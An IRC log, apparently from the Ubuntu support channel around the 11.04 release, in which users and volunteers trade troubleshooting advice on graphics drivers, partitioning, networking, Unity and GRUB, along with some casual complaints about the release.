[04:03] <carandraug> DeathAtNight, did you found dgen on ubuntu?
[04:04] <Gloopie>  blist
[04:04] <bitplane> truepurple, yes but I don't know the actual command
[04:04] <DeathAtNight> I'mma look
[04:04] <DeathAtNight> installing woot!
[04:04] <DeathAtNight> cool cool
[04:04] <NictraSavios> BKTech86, Not writable yet as far as i know. Check gparted > Deviced> supported, for possible packages that may solve it, you can also compile your own kernel with support, but ive never done it so i dont know if its writable then.
[04:04] <truepurple> bitplane: What about doing it through the driver command verses installing it from download off the ATI site? How much better is the download off the ATI site? And how do I install it?
[04:05] <carandraug> DeathAtNight, awesome. Good luck with it
[04:05] <BKTech86> NictraSavios: well i wrote the stuff thats on it, now all of a sudden it became this way i dont konw how though
[04:05] <NictraSavios> researcher123, in the updater GUI. You should find it under "System"> "admin" in the gnome menu. Use common sense to find the name, im not in ubuntu now >><
[04:05] <lsimons> Is the sun-java6-jre package available for 11.04?
[04:05] <escott> BKTech86, mount -o remount,rw /dev/blah
[04:05] <escott> BKTech86, but i dont think hfs is writable
[04:05] <frankcox777> mikinanuq - says "network is unreachable"
[04:05] <researcher123> OK
[04:05] <cardamon> Still need a way to switch from Unity3D to Unity2D.  Already grabbed the packages.
[04:05] <bitplane> truepurple: the ATI site download means you *may* get a later version of the drivers, but since Natty is new there's probably no difference at the moment. if you install from the site then you have to mess about if you want to uninstall
[04:05] <BKTech86> escott: yeah i did that command too, but it has to be writable because i wrote to it in the first place
[04:05] <researcher123> !upgrade
[04:05] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[04:05] <carandraug> researcher123, should be somewhere on the update manager window
[04:06] <NictraSavios> BKTech86, Hmm. Gah, i honestly dont know.
[04:06] <frankcox777> mikinanuq thanks for helping
[04:06] <mikinanuq> frankcox777: can you ping the ip of that same machine? in other words can the machine ping itself?
[04:06] <truepurple> bitplane: How do I compare the two? Is the one from additional drivers easy to remove afterwards?
[04:06] <NictraSavios> BKTech86, Hmm. backing up, then formating/remaking the partition. Other then that, im stumped.
[04:06] <josefig> Hello, what may I install to save the battery life in one laptop, with plug works wonderfull but without it is not good enough.
[04:06] <frankcox777> mikinanuq will try
[04:06] <josefig> ?
[04:07] <mikinanuq> frankcox777: ok.. also what IP does the machine have?
[04:07] <NictraSavios> josefig, nothing to install, just watch your "power settings"
[04:07] <NictraSavios> josefig, Set them to save power and your done. If you need the path to them, tell me what version your running
[04:08] <frankcox777> mikinanuq -yes
[04:08] <truepurple> bitplane: How do I compare the two? Is the one from additional drivers easy to remove afterwards?
[04:08] <Kage> I get a system kernel crash when I try to load the brcm80211 module
[04:08] <spthysis_> Urgh
[04:08] <spthysis_> Sound Not working
[04:08] <spthysis_> :/
[04:08] <TrentonAdams> hey guys.  The new ubuntu gnome doesn't look the same.  It looks aweful.  how do I get the old look back?
[04:09] <frankcox777> mikinanuq-both machines have same address
[04:09] <mikinanuq> frankcox777: what is it?
[04:09] <spthysis_> urgh
[04:09] <spikebike> TrentonAdams: at the gdm screen try ubuntu-classic
[04:09] <frankcox777> mikinanuq 127.0.0.1
[04:09] <josefig> NictraSavios, I'm runing the beta version
[04:09] <josefig> i gonna upgrade it at this moment.
[04:10] <FoolsRun> Do commands in rc.local need any kind of prefix if I want to run them as root? Or is it just one command per line?
[04:10] <NictraSavios> josefig, okay So use what spike bike just said. Go into regular gnome and go to "System" > "admin" > "power settings"
[04:10] <mikinanuq> frankcox777: that IP is a "loopback" address. it doesn't do anything :( you should get a 192 address usually
[04:10] <carandraug> TrentonAdams, choose ubuntu-classic on the startup. But give unity (the new look) a try. It's very very different but there's good things about it too once you get used to it
[04:10] <izinucs> Just tried KDE compatibility in ccsm.. weird results..
[04:10] <truepurple> bitplane: How do I compare the two? Is the one from additional drivers easy to remove afterwards?
[04:10] <mrdeb> mikinanuq: what is loopback
[04:11] <NictraSavios> mrdeb, Its like a bommerang.
[04:11] <frankcox777> mikinanuq-oh-I see it -brb
[04:11] <mrdeb> what does that mean
[04:11] <Guest6900> can someone help me make since of these partitions and why there appears to be 2 of the same?     http://imagebin.org/150931
[04:11] <rendero> this kde in natty is getting me sick, the bar is moving like crazy because the notification bar appears at the left or the right by moments. emerald and any other window decorator does not work with compiz. really disgusting
[04:11] <Macer> can someone tell me why my console is so incredibly slow? X is fine but when i swap over to a console or when it boots i can literally see the screen drawing itself
[04:11] <NictraSavios> mrdeb, Anything you send comes right back cus 127.0.0.1 means "host" , or the computer your on.
[04:11] <Guest6900> how can i optimize and consolidate this?
[04:11] <mikinanuq> frankcox777: when you do an ifconfig on the working pc you should see information for lo and eth0.. the lo is the loopback.. the eth0 is the actual interface. the eth0 is the one that we're concered with
[04:11] <spthysis_> HAlp
[04:11] <spthysis_> Sound isn't working
[04:11] <spthysis_> :/
[04:11] <NictraSavios> mrdeb, So if i sent a file to it, i sent it to myself. Its like sending yourself an e-mail. Same thing.
[04:12] <josefig> NictraSavios, I configured that, but nothing changed.
[04:12] <AbuMaia> banshee does not show as active in the launcher when running. Bug?
[04:12] <NictraSavios> josefig, then you need a new battery :P its not ubuntus fault.
[04:12] <frankcox777> mikinanuq-this machine has the 192 address-the other does not
[04:12] <truepurple> bitplane: bitplane: How do I compare the two? Is the one from additional drivers easy to remove afterwards?
[04:12] <josefig> NictraSavios, lol is a dell new brand, on windows my batter works fine about 3hrs
[04:12] <mikinanuq> spthysis_: maybe it's a known problem.. did you do a search for your machine type and ubuntu ...
[04:12] <L4nce0> hi guys, I'm trying to set gedit as my default editor for cpp files... how can I do this? google is failing me
[04:12] <bitplane> Guest6900: right click the swap with the key on it and choose "swapoff", then delete the sda5 swap, then resize sda7 swap so it fills all the space
[04:12] <josefig> and on ubuntu works just like 1hr and a half
[04:13] <NictraSavios> josefig, i wonder whats eating it ... hmm.
[04:13] <tss2> how is 11.04?
[04:13] <bitplane> Guest6900: then right click and choose "swapon"
[04:13] <josefig> maybe the cpu speed
[04:13] <Juest> L4nce0: with nautilus right click and then do open with
[04:13] <hiexpo> tell Juest why not to be root all the time
[04:13] <NictraSavios> tss2, Bug list hangs longer then your grandma... nvm not finsihing that.
[04:13] <Juest> !root
[04:13] <ubottu> Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[04:14] <josefig> NictraSavios, 32% for 19 mins? lol
[04:14] <Macer> weird
[04:14] <L4nce0> Juest: that's what I've been doing to just open it... ah bah I see it now. Thanks! /egg on face
[04:14] <josefig> and Im not compiling or something like that.
[04:14] <NictraSavios> tss2, Jokes aside... this chat is flying faster then anything.
[04:14] <Guest6900> bitplane, what exactly are the swap partitions?
[04:14] <tss2> NictraSavios: I thought the .04 was supposed to be the stable one
[04:14] <Macer> i have a decent video card.. nv240
[04:14] <Juest> lol
[04:14] <Macer> but when i use a console it is horrible
[04:14] <AbuMaia> awesome bot reply for root :)
[04:14] <NictraSavios> josefig, Try and just let it run till it dies and time it. It may just give a wrong reading. Mine always says 0% but i have 2 hour.
[04:14] <bitplane> Guest6900: they're like a windows "paging file", they're where your programs get pushed out to when you run out of RAM
[04:14] <frankcox777> guest6900 swap is like pagefile in windows-virtual memory
[04:14] <NictraSavios> tss2, Nope, the LTS is.
[04:15] <mikinanuq> frankcox777: ok, the system that assigns you an IP address is called dhcp... do a ps aux | grep dhcp  to see if dhclient is working on your pc
[04:15] <truepurple>  bitplane: How do I compare the two? Is the one from additional drivers easy to remove afterwards?
[04:15] <frankcox777> mikinanuq ok
[04:15] <tss2> NictraSavios: 11.04 isnt LTS?
[04:15] <NictraSavios> tss2, Every second 04. So 6.04,8.04,10.04,12.04
[04:15] <josefig> NictraSavios, okay I was thinking on checking something like try to develop something :P
[04:15]  * Juest knows what are root risks/iusses, but he wants to hear the warnings again: who can tell?
[04:15] <L4nce0> Juest: selected remember for c++ source, but it's not actually having an effect =/
[04:15] <AbuMaia> tss2: nope
[04:15] <Juest> :O
[04:15] <Juest> idk why not
[04:15] <NictraSavios> tss2: Lts is every 4th release. so 9.04 LTS, then there is 10.10,11.04,11.10 and 12.04 LTs
[04:16] <tss2> ok maybe its time to go back to slackware
[04:16] <bitplane> truepurple: yeah, you can remove it from apt-get like anything else. you can't just remove the one you install from AMD's website.. there's a shell script to uninstall that one
[04:16] <Juest> 9.04 lts and 10.04 lts?
[04:16] <truepurple> bitplane: How do I remove it afterwards?
[04:16] <spthysis_> helphelphelphelphelp
[04:16] <Guest6900> bitplane, speaking of memory, i have had problems with that lately, maybe related to this then, for some reason my memory maxed out, cpu2 and wouldnt go down, and it wasnt like i was running anything intense at the time, what could cause this?
[04:16] <L4nce0> yeah, just goes back to emacs (like the one I don't know at all =P)
[04:16] <NictraSavios> tss2: I consider the LTS an actual release. he rest are beta. And 9.04 isnt an LTS.
[04:16] <NictraSavios> tss2: sorry, typo.
[04:16] <L4nce0> frairly fresh VM so dunno
[04:16] <AbuMaia> tss2: why? because 11.04 isn't LTS?
[04:17] <NictraSavios> tss2: 10.04, 10.10,11.04,11.10 and then 12.04
[04:17] <Juest> L4nce0: change preffered apps
[04:17] <Juest> should do the trick
[04:17] <OY1R> can anyone help me fix this boot up problem, i cannot boot Ubuntu 10.10 >  http://paste.ubuntu.com/600969/
[04:17] <NictraSavios> tss2: Bassicly, every 2 years.
[04:17] <Wildman> 11.04 made me cry
[04:18] <NictraSavios> brb
[04:18] <tss2> AbuMaia: I also read some bad reviews for 11.04.. I'll try the live CD and see
[04:18] <carandraug> Wildman, of joy?
[04:18] <L4nce0> Juest:  I've tried that too.. but no text editor field =)
[04:18] <Wildman> more of a cry of pain 3_3
[04:18] <byomkeshbakshi> I am installing ubuntu on a parition on windows machine. I have downloaded ubuntu iso and checked md5 and burned to CD. I am able to rub ffrom CD. Now, when I install how to know which partition to choose because installer does not give option like D, E or F (my drives)
[04:18] <Wildman> i feel as though things have started going downhill since 9.10
[04:19] <ecanto> hello my brothers
[04:19] <tss2> thanks NictraSavios
[04:19] <izinucs> byomkeshbakshi: did you pre-make any partitions?
[04:19] <ecanto> :)
[04:19] <NictraSavios> back.
[04:19] <bitplane> OY1R: looks like your filesystem table is broken somehow, not sure how to fix it but it should be relatively simple
[04:19] <NictraSavios> ecanto, hello :)
[04:19] <carandraug> Wildman, do you have a problem to ask? If it's just chatting, please go to #ubuntu-offtopic
[04:19] <AbuMaia> tss2: this early in the game, there's gonna be almost all negative reviews until people get used to it
[04:19] <frankcox777> mikinanuq 1665 0.0 0.3 3320 800 pts/0 S+ 02:17 0.00 grep --color=auto dhcp  {dhcp  is in red]
[04:19] <hiexpo> can't remhow do i grep a conversation in irssi again ?
[04:19] <truepurple> bitplane: How do I remove it afterwards?
[04:19] <byomkeshbakshi> izinucs:yes, i have 3 partions on harddrive - on one is installed windows, one where I keep data and one completly empty
[04:19] <tss2> slackware is at v13.37
[04:19] <bitplane> truepurple: not sure what it's called
[04:19] <NictraSavios> AbuMaia, Canonical screwed up. Just admit it. Unity needs another 6 months and SHOULD NOT be fault yet.
[04:20] <Wildman> it seems 10.10 works fine on this dell laptop, however after a distribution upgrade to 11.04 no form of pointing device functions.
[04:20] <NictraSavios> AbuMaia, Its BETA. The list of bugs proves that much.
[04:20] <spikebike> NictraSavios: dunno
[04:20] <mikinanuq> frankcox777: hmm so all you're seeing when you run that is the ps command looking for dhcp.. that's common
[04:20] <OY1R> bitplane, something is broken that's for sure. i cant fix it either..
[04:20] <L4nce0> Juest:  I've done it! select a .cpp, properties, open with..
[04:20]  * spikebike is using unity right now, it's not so bad
[04:20] <OY1R> google didnt help much either.
[04:20] <Juest> and?
[04:21] <mikinanuq> frankcox777: try   sudo /etc/init.d/networking stop  then   start
[04:21] <Juest> great!
[04:21] <tss2> L4nce0: gj
[04:21] <NictraSavios> Holly damn. Ive been here for a hour and i can say. 11.04 is not ready...
[04:21] <Juest> gj :)
[04:21] <frankcox777> mikinanuq ok
[04:21] <bitplane> OY1R: I guess you need to find the UUID of your disk and change that line in your fstab
[04:21] <Wildman> 11.04 is indeed not ready
[04:21] <AbuMaia> NictraSavios: I'm having very little difficulty with Unity so far. I need admit nothing I do not agree with
[04:21] <L4nce0> it does it. I'll just not worry why settings aren't actually changing the proper way...
[04:21] <izinucs> byomkeshbakshi: ubuntu will require a minimum of 2 partitions.. I recommend 3.. one for / (root), one for /swap (self explainitory, and one for /home where all your data lives.. to do that now you'll have to take the 3 partition and delete it and redo it as an extended partition.. then create 3 partitions under it.. you can do that with the installer just choose "manual" when you get to that point.
[04:21] <bitplane> OY1R not sure how to do that though or how things work at that stage of the boot process, so take what I say with a pinch of salt
[04:21] <NictraSavios> AbuMaia, You havent. Dont put your xp on everyone else. In a test run of 12 noobs, 5/12 crashed in within the hour.
[04:22] <izinucs> byomkeshbakshi: how large is the 3rd partition
[04:22] <izinucs> ?
[04:22] <NictraSavios> AbuMaia, just look at the bug list and this chat.... They should have waited another month.
[04:22] <tiresias> hello all
[04:22] <jrenner> hey does anyone know what the "Additional Drivers" application is called in the repos?
[04:22] <bitplane> NictraSavios: the crash bugs are resolved AFAIK
[04:22] <tiresias> why  %sudo ALL=(NOPASSWD:ALL) ALL   doesn't work in the sudoers please?
[04:22] <AbuMaia> NictraSavios: then don't put your experiences on me, k?
[04:22] <hiexpo> tss2, don't complain if  you don't like it go back to slackware     >   good luck t o you     > maybe that is better for you
[04:22] <torchie> what's the terminal command to restart unity?
[04:22] <NictraSavios> AbuMaia, didnt. I put 12 peoples.
[04:22] <torchie> or do you just compiz --replace
[04:22] <tss2> izinucs: it depends on the size of your HD
[04:23] <torchie> corners and show desktop randomly stopped working
[04:23] <spthysis_> bitplane: How would I go about making my sound output and input work on 11.04?
[04:23] <spthysis_> bitplane: It really, really doesn't seem to be working
[04:23] <izinucs> tss2: what does?
[04:23] <tss2> hiexpo: I dont complain yet, I try the live CD first
[04:23] <jrenner> hey does anyone know what the "Additional Drivers" application is called in the repos? Trying to install on a minimal
[04:23] <AbuMaia> NictraSavios: you don't like it, don't use it
[04:23] <FoolsRun> I am an idiot
[04:23] <byomkeshbakshi> izinucs:48gb
[04:23] <FoolsRun> Note: when putting commands in rc.local, put & after them
[04:23] <tss2> izinucs: partition size
[04:24] <nathan1111> hello?
[04:24] <bitplane> spthysis_: I'm also having some pulseaudio bugs, but if you open sound preferences you should be able to configure the input/output choices through the GUI
[04:24] <izinucs> byomkeshbakshi: ok.. 10gigs for root described as /.... 1-2 gigs for /swap and the rest for /home
[04:24] <NictraSavios> AbuMaia, I dont, i cant for 4 months. My job tells me to use OSX , then windows, then back to Linux. Honestly? I havent tried it yet. I was unbiased.
[04:24] <frankcox777> mikinanuq says to use service networking start
[04:24] <AbuMaia> NictraSavios: let others choose their own way
[04:24] <Kevin147> torchie: did you do metacity --replace?
[04:24] <spthysis_> bitplane: I'm on a Macbook Air 3,1 if that makes a difference
[04:24] <torchie> I DID NOT!
[04:24] <torchie> i did not!*
[04:24] <hiexpo> tss2, quote   >   <tss2> ok maybe its time to go back to slackware
[04:24] <Artarian> Guys can anyone help me with my upgrade ? I have NVIDIA 7050 630i but I receive no screens found error
[04:25] <Kevin147> torchie: oh alright... hmm try restarting gdm, sudo service gdm restart    that should fix it
[04:25] <byomkeshbakshi> izinucs:ok..when i say manual, will installer pick this empty partiton?
[04:25] <tss2> hiexpo: I said maybe.. I will say for sure after I try the live CD
[04:25] <nathan1111> where can I find on the ubuntu website a place to order an installation disk like in 10.10?
[04:25] <NictraSavios> AbuMaia, I shall, But i'm stunned that they would release this. Enraged by the lack of customization. An idea that ubuntu, infact all of the GNU/Linux, is build off of. And most of all, that they didnt admit "We need more time"
[04:25] <mikinanuq> frankcox777: hmm I was thinking maybe the network manager is not working... try  nm-applet  or  ps aux| grep nm-applet   to see if it's running
[04:25] <spikebike> NictraSavios: er you sound pretty fired up
[04:26] <kevn> Is there a program that assembles docs and manpages into a simple gui?
[04:26] <spikebike> NictraSavios: why not just pick a different desktop environemnt, not like ubuntu didn't make tht easy
[04:26] <NictraSavios> spikebike, I always talk like that :P less so here. If you followed me on twitter you would see it 100000% more :P
[04:26] <AbuMaia> so far, the only issue I've had with 11.04 is with Banshee
[04:26] <[thor]> nathan1111: you can still purchase a physical CD, but the free delivery service has been halted as of 11.04
[04:26] <jgould> Stupid question: Is there a meta package to install development tools to build something from source
[04:26] <sinistrad> Has anyone tried the google voice notifier with unity yet? https://launchpad.net/gvoice-notifier
[04:26] <torchie> sudo service gdm didn't do anything :O
[04:26] <abstrakt> how can I make postfix deliver *any* message for *any* domain to a single local mailbox?
[04:26] <spikebike> jgould: start with apt-get install build-sessential
[04:26] <gtlarue> I am having issues with my audio, in 11.04, audio works fine until I run the "movie player" application, then audio becomes choppy and distorted, until I reboot my machine
[04:26] <abstrakt> i want to run a "virtual" open relay, but just on my localhost
[04:27] <abstrakt> and only while i'm doing development
[04:27] <NictraSavios> spikebike, I'm not even on ubuntu. I was unbiased an hour ago. My job is telling me to use OSX for 2 months, then Windows for 2 months, then back to Linux for 2 months.
[04:27] <tss2> hiexpo: does that sound fair
[04:27] <izinucs> byomkeshbakshi: yes.. but when you use the installer it will get to a point for partitioning.. choose manual.. from there you have to carve up the the empty partition.. first make it "extended".. then create the 3 partitions.. when you create the 1st there will be an option to choose the mount point.. thats where you tell it what kind of partition.. / for root etc..
[04:27] <abstrakt> i don't want to bother with setting up Cyrus or a VPN
[04:27] <carandraug> jgould, yes. Can't remember their names though. You can probably find it on google
[04:27] <frankcox777> mikinanuq -applet -  an instance ia already running
[04:27] <spikebike> NictraSavios: weird, why?
[04:27] <Artarian> Hello Folks I updated my ubuntu to 11.04 and my nvidia drivers are not working it says cant find module nvidia and it was working
[04:27] <Kevin147> torchie: do it in the terminal... sudo service gdm restart
[04:27] <nathan1111> is 11 worth it?
[04:27] <torchie> ah i see
[04:27] <carandraug> jgould, I found it. It's called build-essential
[04:28] <byomkeshbakshi> izinucs:ok..cool thanks
[04:28] <mikinanuq> frankcox777: you've already looked in that applet make sure you don't have network disabled or something weird like that
[04:28] <jgould> spikebike, Thank you!
[04:28] <NictraSavios> spikebike, We are Whitehat hackers for higher, to keep us from getting rusty or to used to one system, we rotate. We run on a 7 computer cluster (7 computers, one big RAID harddrive, and each has there own for our personal use)
[04:28] <spyzer> hello all, just yesterday i installed ubuntu 11.04. My issue is that my desktop GUI keeps freezing and once it freezes it never recovers. I have an ATI Radeon Mobility 4500 series graphics card and am using open source radeon driver
[04:28] <izinucs> byomkeshbakshi: take your time.. and ask questions if you get stuck
[04:28] <hiexpo> tss2, yep
[04:28] <spyzer> Please help
[04:28] <spikebike> NictraSavios: sensible
[04:28] <truepurple> izinucs: What FS would you recommend for both files that both linux and windows would use?
[04:28] <NictraSavios> spikebike, hire* sorry, the chat speed and my own distraction is making my spelling suck.
[04:28] <spikebike> spyzer: I'd use the commercial
[04:28] <spikebike> NictraSavios: heh, I parsed it
[04:29] <spthysis_> bitplane: I've, uhhh, tried that already.
[04:29] <izinucs> truepurple: right now.. ext3.. I don't think there's a windows driver for ext4
[04:29] <mikinanuq> nathan1111: it's a big learning curve. you either love it or hate it or learn to love it... i'm in the process of learning to love it...
[04:29] <NictraSavios> spikebike, Its a live/work space on campus :P the University gives us most of the work.
[04:29] <spyzer> spikebike: the commercial one actually slowed down my entire system and i have no idea why
[04:29] <spikebike> NictraSavios: which campus?
[04:29] <truepurple> izinucs: But win7 recognizes ext3?
[04:29] <frankcox777> mikinanuq- sorry to be so dense but what would I do to see if network is disabled?
[04:29] <izinucs> truepurple: not natively.. there's a driver you have to install.
[04:29] <nathan1111> I have 10.10, is it easy to transition? (and i dont mean to install)
[04:29] <spikebike> spyzer: strange, I've got a 5770 and the ati catalyst drive is pretty good, I'm using 10.2, but 10.3 and 10.4 are out
[04:29] <selekta> So. How is 11.04 any problems with it?
[04:29] <NictraSavios> spikebike, Saint Xairver Univeristy. Better known as St. FX.
[04:30] <spikebike> NictraSavios: UC Davis here
[04:30] <NictraSavios> spikebike, Its in antagonish Nova Scotia :P
[04:30] <truepurple> izinucs: But you think that is a better option then fat or NTSF?
[04:30] <mikinanuq> frankcox777: usually the nm-applet  is a little network icon on the task tray. right click on it and see if there is a checkmark next to wired network
[04:30] <frankcox777> mikinanuq it says it is enabled on the panel
[04:31] <spyzer> spikebike: should i lanuch a bug somewhere regarding this?
[04:31] <bitplane> I personally wouldn't run anything other than NTFS on a Windows install, sounds like asking for trouble
[04:31] <mikinanuq> frankcox777: Enable Networking is checked?
[04:31] <NictraSavios> spikebike, there isnt much of a tech unity here, personaly i do a double major in Physics and Chemistry feilds. This is more/less a hobby, but we do get paid.
[04:31] <frankcox777> mikinanuq   checkmark enable networking
[04:31] <izinucs> truepurple: fat is horrible.. good for usb sticks etc.. but that's about it.. linux won't use ntfs for /home but will read it .. are you creating a shared partition or are you trying to have access to the /home partiton/directory from windows?
[04:31] <NictraSavios> spikebike, And yea, im 17 :P i was bumped up a grade in primary/middle school.
[04:31] <carandraug> truepurple, the only one both will recognize natively is FAT. NTFS also works well on ubuntu now. The problem with these choices is that it doesn't allow Linux to control permissions the way it likes
[04:31] <mikinanuq> frankcox777: go in to the Edit Network connections on the  applet
[04:31] <izinucs> truepurple: and is this for a dual boot or shared drive off a LAN
[04:32] <frankcox777> mikinanuq ok
[04:32] <spikebike> spyzer: that's kinda vague, but if you can track it down to something specific sure
[04:32] <nathan1111> can unity be disabled?
[04:32] <Artarian> spikebike, what about nvidia? any tutorial for those who found problem at module?
[04:32] <sebsebseb> nathan1111: yes
[04:32] <truepurple> izinucs: Shared partition, Linux and windows will both have their own partition aside from this one
[04:32] <ball> Hello, I like cake.
[04:32] <mikinanuq> frankcox777: do you have anythnig in the "wired" tab?
[04:32] <truepurple> izinucs: Duel boot
[04:32] <frankcox777> mikinanuq auto eth
[04:32] <ball> Is it possible to mount an .iso image
[04:32] <spikebike> Artarian: I've two desktops, one nvidia and one ATI, in general the nvidia is the better driver
[04:32] <sebsebseb> nathan1111: switch to Ubuntu Classic Desktop from the log in screen that's one way to get rid of it.  Why do you want to of interest?
[04:32] <ball> ...and then boot it from within Ubuntu?
[04:32] <mikinanuq> frankcox777: hmm click on it and then edit..
[04:32] <spikebike> Artarian: IMO both are good enough
[04:32] <izinucs> truepurple: so just a separate partition outside of what is normall used for either system?
[04:32] <frankcox777> mikinanuqnever used
[04:33] <Artarian> spikebike, the upgrade just f**** everything it gives me no screen found
[04:33] <carandraug> ball, yes.
[04:33] <frankcox777> mikinanuq ok
[04:33] <tensorpudding> ball: what you want sounds like a virtual machine
[04:33] <bitplane> ball, everyone likes cake. also yes, you can use virtualbox to boot an ISO, or mount one from within Ubuntu by right clicking on it
[04:33] <mikinanuq> frankcox777: is connect automatically checked?
[04:33] <ball> tensorpudding: I'm not sure I can run that on this chip
[04:33] <Artarian> spikebike, everything did work smoothly for you after upgrading
[04:33] <nathan1111> <sebsebseb> hard to get used to for some reason, and I had my menus set up very well
[04:33] <spikebike> Artarian: yes
[04:33] <tensorpudding> ball: you can
[04:33] <frankcox777> mikinanuq connect auto ic checked
[04:33] <Artarian> aaww
[04:33] <carandraug> ball, wait. What? I only read the first line. please make your question in one line, you got me confused. Could you explain better?
[04:33] <sebsebseb> nathan1111: ok well do what I said then :)
[04:34] <frankcox777> is
[04:34] <Artarian> bad luck then
[04:34] <truepurple> izinucs: A partition for linux, a partition for windows, a partition for VM for linux and windows perhaps, finally a main partition for "files"
[04:34] <sebsebseb> nathan1111: and you can set classic Desktop as default as well
[04:34] <casey> Does anyone know why my natty narwhale does not load from GRUB? Everytime I choose it, it just freezes trying to load. It only seems to work for me if I boot from a previous version :(. Any ideas?
[04:34] <tensorpudding> ball: though the chips with virtualization extensions allow you to get decent performance
[04:34] <spikebike> Artarian: I've got a dual head setup, 24" + 20"
[04:34] <Artarian> spikebike, the module disappeared
[04:34] <nathan1111> sebsebseb: thanks (x
[04:34] <ball> ...my objective is to install a new Linux install on a hard disk, to replace the existing one.
[04:34] <Artarian> how can that be
[04:34] <frankcox777> mikinanuq MTU ato
[04:34] <sebsebseb> nathan1111: ok your welcome :)
[04:34] <frankcox777> automatic
[04:34] <mikinanuq> frankcox777: under IPv4 settings is Method: set to Automatic DHCP?
[04:34] <truepurple> izinucs: May we please speak in PM so I can keep track of this conversation better?
[04:34] <tensorpudding> ball: you'll need to make a bootable external medium them
[04:34] <spikebike> Artarian: I'd suggest reinstalling the driver from scratch
[04:34] <NictraSavios> Oh dangit! Forgot to call my gf about 35 minutes ago....
[04:35] <izinucs> truepurple: sure.. /msg me
[04:35] <NictraSavios> Uh... i g2g ..... yea... LOL.
[04:35] <tensorpudding> ball: you can't mess with the hard disk while you're in ubuntu
[04:35] <frankcox777> mikinanuq yes
[04:35] <ball> tensorpudding: That'll mean cracking the case to temporarily attach an optical drive then.
[04:35] <Artarian> spikebike, i did purge nvidia-current package now im reinstalling it
[04:35] <tensorpudding> ball: not necessarily, you can make flash drives into bootable media
[04:35] <truepurple> izinucs: hmm, it doesn't seem to work
[04:35] <Artarian> i will get back to you if it works spikebike
[04:35] <frankcox777> mikinanuqipv6 is set to ignore
[04:35] <truepurple> izinucs: Please /msg me instead perhaps
[04:36] <spikebike> Artarian: if that's a no go try downloading and installing the driver directly from nvidia.com
[04:36] <nathan1111> is chrome running on 11.04?
[04:36] <spikebike> nathan1111: the browser?
[04:36] <nathan1111> yes
[04:36] <Captainkrtek> nathan1111,  yes
[04:36] <torchie> huh
[04:36] <Captainkrtek> Im using it now
[04:36] <spikebike> nathan1111: yes, I've got it open now
[04:36] <torchie> didn't expect that to restart everything
[04:36] <izinucs> truepurple: i'm there.. are you?
[04:36] <kins> can anyone help me mount an external cd/dvd drive
[04:36] <torchie> reminds me of osx windowserver
[04:36] <mikinanuq> frankcox777: ok... hmm remind me, when you do the ifconfig does it show you the eth0 settings and the lo settings or no eth0 settings at all?
[04:36] <sebsebseb> nathan1111: sudo apt-get install chromium it's the open source version that Chrome is based on
[04:36] <lduros> hello, my boot gets stuck after "checking batteries", and if i log in through the command line, I cannot start x manually (sudo startx or sudo gdm) I get fatal server error: no screens found
[04:37] <casey> Does anyone know why my natty narwhale does not load from GRUB? Everytime I choose it, it just freezes trying to load. It only seems to work for me if I boot from a previous version :(. Any ideas?
[04:37] <gtlarue> well, its not streaming in general, seems to just be the "movie player" program, Audacious can play audio without breaking it
[04:37] <lduros> any idea what i can do? It's an old desktop and upgrade d to 11.04
[04:37] <carandraug> kins, just say what's the error when you try to connect it. If someone can help, they will
[04:37] <ball> tensorpudding: This machine doesn't seem able to boot from USB.
[04:37] <IdleOne> nathan1111: sudo apt-get install chromium-browser
[04:37] <ball> I've tried flash and CD-ROM
[04:37] <tensorpudding> ball: well, sorry then
[04:37] <nathan1111> i  use the dev version of g chrome. what about that.
[04:37] <sebsebseb> nathan1111: chromium-browser even ah yes, ty IdleOne forgot about that,  chromium would install a game
[04:37] <lduros> there's a problem with the video card it seems, misconfiguration maybe?
[04:37] <frankcox777> mikinanuq eth1 only
[04:37] <IdleOne> sebsebseb: yup :)
[04:38] <tensorpudding> ball: the only other option would be PXE boot but that's not only a pain to install, but probably not supported from your hardware
[04:38] <kins> why does lucid not even read my external cd/dvd drive
[04:39] <rendero> plasma panel got crazy in natty kde, notification icon is moving in the panel at the left or right !
[04:39] <mikinanuq> frankcox777: give me a sec
[04:39] <frankcox777> mikinanuq ok
[04:39] <Artarian> spikebike, it worked!
[04:40] <Loonatic> Hi i got a LAMP server and i need to install an actual GUI i can i do this easily ?
[04:40] <spikebike> Artarian: cool
[04:40] <Artarian> spikebike, i did purge the nvidia-current package and reinstalled but one more thing how do i set my gnome bar back?
[04:40] <spikebike> apt-get install gnome-desktop or similar
[04:40] <Artarian> spikebike, this new bar not good
[04:40] <spikebike> Artarian: try add user and login as them
[04:40] <selekta|> bitplane
[04:40] <spikebike> oh you mean unity?
[04:40] <bitplane> hey selekta|
[04:40] <nathan1111> didn't oracle stop making OOo?
[04:41] <mikinanuq> frankcox777: is it a laptop? does it have wireless and wired on the pc that's having problems?
[04:41] <ball> nathan1111: They released it into the wild
[04:41] <spikebike> nathan1111: there was a fork, now libre is not related to oracle
[04:41] <casey> Does anyone know why my natty narwhale does not load from GRUB? Everytime I choose it, it just freezes trying to load. It only seems to work for me if I boot from a previous version :(. Any ideas?
[04:41] <ball> ...after the fact.
[04:41] <armor-64> hi guys a have a problem with the ubuntu and the ATI VGA,somehow when i installed the drivers for the GPU ,ubuntu startet to glitch ,i remove them becouse i hate to work on my pc like that,can i keep the default ubuntu drivers?
[04:41] <gartral> i have a laptop that has an *insane* battery.. it lasts about 9 hours. the indicator turns red.. at around 2:40 hours left.. how do i change that?
[04:41] <spikebike> casey: something screwed up, boot a recovery cd and reinstall grub
[04:41] <spikebike> it's not a inate ubuntu issue
[04:42] <casey> spikebike: Please explain further. How do I make a recovery cd? I installed narwhal from the update manager?
[04:42] <frankcox777> mikinanuq I am beginning to think it is the ethernet card or its driver-maybe I should try to boot the drive in another machine?
[04:43] <Kevin147> Hm, ever since I upgraded to 11.04, I play Minecraft, and now java is only using one core? I have a quad-core.. how do I make it even out? :/
[04:43] <spikebike> casey: google linux recovery cd grugb
[04:43] <spikebike> grub
[04:43] <OY1R> !grub
[04:43] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[04:43] <Artarian> 11.04 totally sux
